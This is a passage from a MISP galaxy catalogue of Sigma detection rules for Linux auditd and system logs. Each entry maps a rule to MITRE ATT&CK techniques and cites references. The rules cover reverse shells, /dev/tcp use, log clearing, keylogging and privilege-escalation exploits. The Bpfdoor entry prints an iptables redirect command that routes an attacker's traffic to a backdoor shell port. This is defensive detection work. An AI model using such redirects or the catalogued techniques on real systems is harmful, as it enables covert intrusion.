<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_split_file_into_pieces.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_split_file_into_pieces.yml</a></td>
</tr>
</tbody>
</table>

Clipboard Collection of Image Data with Xclip Tool

Detects attempts to collect image data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.

The tag is: `misp-galaxy:sigma-rules="Clipboard Collection of Image Data with Xclip Tool"`
Clipboard Collection of Image Data with Xclip Tool has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

### Table 10856. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://linux.die.net/man/1/xclip">https://linux.die.net/man/1/xclip</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_clipboard_image_collection.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_clipboard_image_collection.yml</a></td>
</tr>
</tbody>
</table>

---

**Bpfdoor TCP Ports Redirect**

All TCP traffic on particular port from attacker is routed to different port. ex. `/sbin/iptables -t nat -D PREROUTING -p tcp -s 192.168.1.1 --dport 22 -j REDIRECT --to-ports 42392` The traffic looks like encrypted SSH communications going to TCP port 22, but in reality is being directed to the shell port once it hits the iptables rule for the attacker host only.

The tag is: *misp-galaxy: sigma-rules="Bpfdoor TCP Ports Redirect"*

---

**Program Executions in Suspicious Folders**

Detects program executions in suspicious non-program folders related to malware or hacking activity

The tag is: *misp-galaxy: sigma-rules="Program Executions in Suspicious Folders"*
• related-to: misp-galaxy:mitre-attack-pattern="Develop Capabilities - T1587" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Compromise Infrastructure - T1584" with estimative-language:likelihood-probability="almost-certain"

Table 10858. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_exe_folders.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_exe_folders.yml</a></td>
</tr>
</tbody>
</table>

**Remove Immutable File Attribute - Auditd**

Detects removing immutable file attribute.

The tag is: *misp-galaxy: sigma-rules="Remove Immutable File Attribute - Auditd"

View relationships graph

Remove Immutable File Attribute - Auditd has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"

Table 10859. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f0fcd3742bf7f36f9e2a9/atomics/T1222.002/T1222.002.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f0fcd3742bf7f36f9e2a9/atomics/T1222.002/T1222.002.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_chattr_immutable_removal.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_chattr_immutable_removal.yml</a></td>
</tr>
</tbody>
</table>

**Data Compressed**

An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.

The tag is: *misp-galaxy: sigma-rules="Data Compressed"

View relationships graph

Data Compressed has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

Table 10860. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Linux Network Service Scanning - Auditd**

Detects enumeration of local or remote network services.

The tag is: `misp-galaxy:sigma-rules="Linux Network Service Scanning - Auditd"`

View relationships graph

Linux Network Service Scanning - Auditd has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046"` with estimative-language:likelihood-probability="almost-certain"

*Table 10861. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fddd3742bfcf365fee2a9/atomics/T1046/T1046.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fddd3742bfcf365fee2a9/atomics/T1046/T1046.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_network_service_scanning.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_network_service_scanning.yml</a></td>
</tr>
</tbody>
</table>

**Screen Capture with Xwd**

Detects adversary creating screen capture of a full with xwd. Highly recommended using rule on servers, due high usage of screenshot utilities on user workstations

The tag is: `misp-galaxy:sigma-rules="Screen Capture with Xwd"`

View relationships graph

Screen Capture with Xwd has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Screen Capture - T1113"` with estimative-language:likelihood-probability="almost-certain"

*Table 10862. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fddd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-3---x-windows-capture">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fddd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-3---x-windows-capture</a></td>
</tr>
<tr>
<td><a href="https://linux.die.net/man/1/xwd">https://linux.die.net/man/1/xwd</a></td>
</tr>
</tbody>
</table>
System Shutdown/Reboot - Linux

Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.

The tag is: *misp-galaxy:sigma-rules*="System Shutdown/Reboot - Linux"

View relationships graph

System Shutdown/Reboot - Linux has relationships with:


Table 10863. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_shutdown_reboot.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_shutdown_reboot.yml</a></td>
</tr>
</tbody>
</table>

Password Policy Discovery

Detects password policy discovery commands

The tag is: *misp-galaxy:sigma-rules*="Password Policy Discovery"

View relationships graph

Password Policy Discovery has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"

Table 10864. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md</a></td>
</tr>
<tr>
<td><a href="https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu">https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu</a></td>
</tr>
<tr>
<td><a href="https://linux.die.net/man/1/chage">https://linux.die.net/man/1/chage</a></td>
</tr>
</tbody>
</table>
System Information Discovery - Auditd

Detects System Information Discovery commands

The tag is: `misp-galaxy:sigma-rules="System Information Discovery - Auditd"`

View relationships graph

System Information Discovery - Auditd has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"` with estimative-language:likelihood-probability="almost-certain"

Table 10865. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f296668303c29d3f4c07e42bdd2b28d8dd6625f9/atomics/T1082/T1082.md">https://github.com/redcanaryco/atomic-red-team/blob/f296668303c29d3f4c07e42bdd2b28d8dd6625f9/atomics/T1082/T1082.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_info_discovery.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_info_discovery.yml</a></td>
</tr>
</tbody>
</table>

Overwriting the File with Dev Zero or Null

Detects overwriting (effectively wiping/deleting) of a file.

The tag is: `misp-galaxy:sigma-rules="Overwriting the File with Dev Zero or Null"`

View relationships graph

Overwriting the File with Dev Zero or Null has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Data Destruction - T1485"` with estimative-language:likelihood-probability="almost-certain"

Table 10866. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_dd_delete_file.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_dd_delete_file.yml</a></td>
</tr>
</tbody>
</table>

Linux Keylogging with Pam.d

Detect attempt to enable auditing of TTY input
The tag is: `misp-galaxy:sigma-rules="Linux Keylogging with Pam.d"`

View relationships graph

Linux Keylogging with Pam.d has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 10867. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcd3742bfcf365fee2a9/atomics/T1056.001/T1056.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcd3742bfcf365fee2a9/atomics/T1056.001/T1056.001.md</a></td>
</tr>
<tr>
<td><a href="https://access.redhat.com/articles/4409591#audit-record-types-2">https://access.redhat.com/articles/4409591#audit-record-types-2</a></td>
</tr>
<tr>
<td><a href="https://linux.die.net/man/8/pam_tty_audit">https://linux.die.net/man/8/pam_tty_audit</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_keylogging_with_pam_d.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_keylogging_with_pam_d.yml</a></td>
</tr>
</tbody>
</table>

---

**Suspicious Commands Linux**

Detects relevant commands often related to malware or hacking activity

The tag is: `misp-galaxy:sigma-rules="Suspicious Commands Linux"`

View relationships graph

Suspicious Commands Linux has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004"` with estimative-language:likelihood-probability="almost-certain"

**Table 10868. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research - mostly derived from exploit code including code in MSF[Internal Research - mostly derived from exploit code including code in MSF]</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_cmds.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_cmds.yml</a></td>
</tr>
</tbody>
</table>

---

**Hidden Files and Directories**

Detects adversary creating hidden file or directory, by detecting directories or files with . as the first character
The tag is: `misp-galaxy:sigma-rules="Hidden Files and Directories"`

View relationships graph

Hidden Files and Directories has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 10869. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_files_directories.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_files_directories.yml</a></td>
</tr>
</tbody>
</table>

**Creation Of An User Account**

Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.

The tag is: `misp-galaxy:sigma-rules="Creation Of An User Account"`

View relationships graph

Creation Of An User Account has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Local Account - T1136.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 10870. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://access.redhat.com/articles/4409591#audit-record-types-2">https://access.redhat.com/articles/4409591#audit-record-types-2</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=VmvY5SQm5-Y&amp;ab_channel=M45C07">https://www.youtube.com/watch?v=VmvY5SQm5-Y&amp;ab_channel=M45C07</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_create_account.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_create_account.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Use of /dev/tcp**

Detects suspicious command with /dev/tcp

The tag is: `misp-galaxy:sigma-rules="Suspicious Use of /dev/tcp"`

**Table 10871. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
Shellshock Expression

Detects shellshock expressions in log files

The tag is: `misp-galaxy:sigma-rules="Shellshock Expression"`

View relationships graph

Shellshock Expression has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003"` with estimative-language:likelihood-probability="almost-certain"

Table 10872. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shellshock.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shellshock.yml</a></td>
</tr>
</tbody>
</table>

Remote File Copy

Detects the use of tools that copy files from or to remote systems

The tag is: `misp-galaxy:sigma-rules="Remote File Copy"`

View relationships graph

Remote File Copy has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Table 10873. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1105/">https://attack.mitre.org/techniques/T1105/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_file_copy.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_file_copy.yml</a></td>
</tr>
</tbody>
</table>
**Equation Group Indicators**

Detects suspicious shell commands used in various Equation Group scripts and tools

The tag is: `misp-galaxy:sigma-rules="Equation Group Indicators"`

View relationships graph

Equation Group Indicators has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004"` with estimative-language:likelihood-probability="almost-certain"

**Table 10874. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1">https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1</a></td>
</tr>
</tbody>
</table>

**Symlink Etc Passwd**

Detects suspicious command lines that look as if they would create symbolic links to `/etc/passwd`

The tag is: `misp-galaxy:sigma-rules="Symlink Etc Passwd"`

View relationships graph

Symlink Etc Passwd has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 10875. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.qualys.com/2021/05/04/21nails/21nails.txt">https://www.qualys.com/2021/05/04/21nails/21nails.txt</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_symlink_etc_passwd.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_symlink_etc_passwd.yml</a></td>
</tr>
</tbody>
</table>

**Potential Suspicious BPF Activity - Linux**

Detects the presence of "bpf_probe_write_user" BPF helper-generated warning messages. Which could be a sign of suspicious eBPF activity on the system.

The tag is: `misp-galaxy:sigma-rules="Potential Suspicious BPF Activity - Linux"`

**Table 10876. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://redcanary.com/blog/ebpf-malware/">https://redcanary.com/blog/ebpf-malware/</a></td>
</tr>
</tbody>
</table>
Commands to Clear or Remove the Syslog - Builtin

Detects specific commands commonly used to remove or empty the syslog

The tag is: misp-galaxy:sigma-rules="Commands to Clear or Remove the Syslog - Builtin"

View relationships graph

Commands to Clear or Remove the Syslog - Builtin has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1565.001" with estimative-language:likelihood-probability="almost-certain"

Table 10877. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.virustotal.com/gui/file/fc614fb4bda24ae8ca2c44e812d12c0fab6dd7a097472a35dd12de053ab8474">https://www.virustotal.com/gui/file/fc614fb4bda24ae8ca2c44e812d12c0fab6dd7a097472a35dd12de053ab8474</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_clear_syslog.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_clear_syslog.yml</a></td>
</tr>
</tbody>
</table>

Buffer Overflow Attempts

Detects buffer overflow attempts in Unix system log files

The tag is: misp-galaxy:sigma-rules="Buffer Overflow Attempts"

View relationships graph

Buffer Overflow Attempts has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

Table 10878. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/ossec/ossec-hids/blob/1ecff1b884607cb12e619f9ab3c04f530801083/etc/rules/attack_rules.xml">https://github.com/ossec/ossec-hids/blob/1ecff1b884607cb12e619f9ab3c04f530801083/etc/rules/attack_rules.xml</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_buffer_overflows.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_buffer_overflows.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Reverse Shell Command Line

Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell
The tag is: misp-galaxy:sigma-rules="Suspicious Reverse Shell Command Line"

**View relationships graph**

Suspicious Reverse Shell Command Line has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

Table 10879. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://alamot.github.io/reverse_shells/">https://alamot.github.io/reverse_shells/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_rev_shells.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_rev_shells.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Log Entries**

Detects suspicious log entries in Linux log files

The tag is: misp-galaxy:sigma-rules="Suspicious Log Entries"

Table 10880. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_log_entries.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_log_entries.yml</a></td>
</tr>
</tbody>
</table>

**Privileged User Has Been Created**

Detects the addition of a new user to a privileged group such as "root" or "sudo"

The tag is: misp-galaxy:sigma-rules="Privileged User Has Been Created"

**View relationships graph**

Privileged User Has Been Created has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 10881. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://linux.die.net/man/8/useradd">https://linux.die.net/man/8/useradd</a></td>
</tr>
</tbody>
</table>
Nimbuspwn Exploitation

Detects exploitation of Nimbuspwn privilege escalation vulnerability (CVE-2022-29799 and CVE-2022-29800)

The tag is: misp-galaxy:sigma-rules="Nimbuspwn Exploitation"

View relationships graph

Nimbuspwn Exploitation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

Table 10882. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/Immersive-Labs-Sec/nimbuspwn">https://github.com/Immersive-Labs-Sec/nimbuspwn</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_nimbuspwn_privilege_escalation_exploit.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_nimbuspwn_privilege_escalation_exploit.yml</a></td>
</tr>
</tbody>
</table>

JexBoss Command Sequence

Detects suspicious command sequence that JexBoss

The tag is: misp-galaxy:sigma-rules="JexBoss Command Sequence"

View relationships graph

JexBoss Command Sequence has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

Table 10883. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.us-cert.gov/ncas/analysis-reports/AR18-312A">https://www.us-cert.gov/ncas/analysis-reports/AR18-312A</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_susp_jexboss.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_susp_jexboss.yml</a></td>
</tr>
</tbody>
</table>
Space After Filename

Detects space after filename

The tag is: `misp-galaxy:sigma-rules="Space After Filename"`

Table 10884. Table References

Links

- https://attack.mitre.org/techniques/T1064
- https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_space_after_filename_.yml

Code Injection by ld.so Preload

Detects the ld.so preload persistence file. See `man ld.so` for more information.

The tag is: `misp-galaxy:sigma-rules="Code Injection by ld.so Preload"`

View relationships graph

Code Injection by ld.so Preload has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Dynamic Linker Hijacking - T1574.006" with estimative-language:likelihood-probability="almost-certain"

Table 10885. Table References

Links

- https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_ldso_preload_injection.yml

Suspicious Activity in Shell Commands

Detects suspicious shell commands used in various exploit codes (see references)

The tag is: `misp-galaxy:sigma-rules="Suspicious Activity in Shell Commands"`

View relationships graph

Suspicious Activity in Shell Commands has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

Table 10886. Table References

Links

- http://pastebin.com/FtygZ1cg
Clear Command History

Clear command history in Linux which is used for defense evasion.

The tag is: `misp-galaxy:sigma-rules="Clear Command History"`

View relationships graph

Clear Command History has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003"` with `estimative-language:likelihood-probability="almost-certain"`

Table 10887. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd0fcd3742bfcf365fee2a9/atomics/T1070.003/T1070.003.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd0fcd3742bfcf365fee2a9/atomics/T1070.003/T1070.003.md</a></td>
</tr>
<tr>
<td><a href="https://www.hackers-arise.com/post/2016/06/20/covering-your-bash-shell-tracks-antiforensics">https://www.hackers-arise.com/post/2016/06/20/covering-your-bash-shell-tracks-antiforensics</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_clear_cmd_history.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_clear_cmd_history.yml</a></td>
</tr>
</tbody>
</table>

Guacamole Two Users Sharing Session Anomaly

Detects suspicious session with two users present

The tag is: `misp-galaxy:sigma-rules="Guacamole Two Users Sharing Session Anomaly"`

View relationships graph

Guacamole Two Users Sharing Session Anomaly has relationships with:


Table 10888. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://research.checkpoint.com/2020/apache-guacamole-rce/">https://research.checkpoint.com/2020/apache-guacamole-rce/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/guacamole/lnx_guacamole_susp_guacamole.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/guacamole/lnx_guacamole_susp_guacamole.yml</a></td>
</tr>
</tbody>
</table>
**Suspicious VSFTPD Error Messages**

Detects suspicious VSFTPD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts.

The tag is: `misp-galaxy:sigma-rules="Suspicious VSFTPD Error Messages"`

View relationships graph

Suspicious VSFTPD Error Messages has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"` with estimative-language:likelihood-probability="almost-certain"

**Table 10889. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/dagwieers/vsftpd/">https://github.com/dagwieers/vsftpd/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/vsftpd/lnx_vsftpd_susp_error_messages.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/vsftpd/lnx_vsftpd_susp_error_messages.yml</a></td>
</tr>
</tbody>
</table>

**Relevant ClamAV Message**

Detects relevant ClamAV messages

The tag is: `misp-galaxy:sigma-rules="Relevant ClamAV Message"`

View relationships graph

Relevant ClamAV Message has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Malware - T1588.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 10890. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/ossec/ossec-hids/blob/1ecfbb1b884607cb12e619f9ab3c04f530801083/etc/rules/clam_av_rules.xml">https://github.com/ossec/ossec-hids/blob/1ecfbb1b884607cb12e619f9ab3c04f530801083/etc/rules/clam_av_rules.xml</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/clamav/lnx_clamav_relevant_message.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/clamav/lnx_clamav_relevant_message.yml</a></td>
</tr>
</tbody>
</table>
Modifying Crontab has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"

Table 10891. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdeddd3742bfef365fee2a9/atomics/T1053.003/T1053.003.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdeddd3742bfef365fee2a9/atomics/T1053.003/T1053.003.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/cron/Lnx_cron_crontab_file_modification.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/cron/Lnx_cron_crontab_file_modification.yml</a></td>
</tr>
</tbody>
</table>

**PwnKit Local Privilege Escalation**

Detects potential PwnKit exploitation CVE-2021-4034 in auth logs

The tag is: misp-galaxy:sigma-rules="PwnKit Local Privilege Escalation"

View relationships graph

PwnKit Local Privilege Escalation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1548.001" with estimative-language:likelihood-probability="almost-certain"

Table 10892. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/wdormann/status/1486161836961579020">https://twitter.com/wdormann/status/1486161836961579020</a></td>
</tr>
<tr>
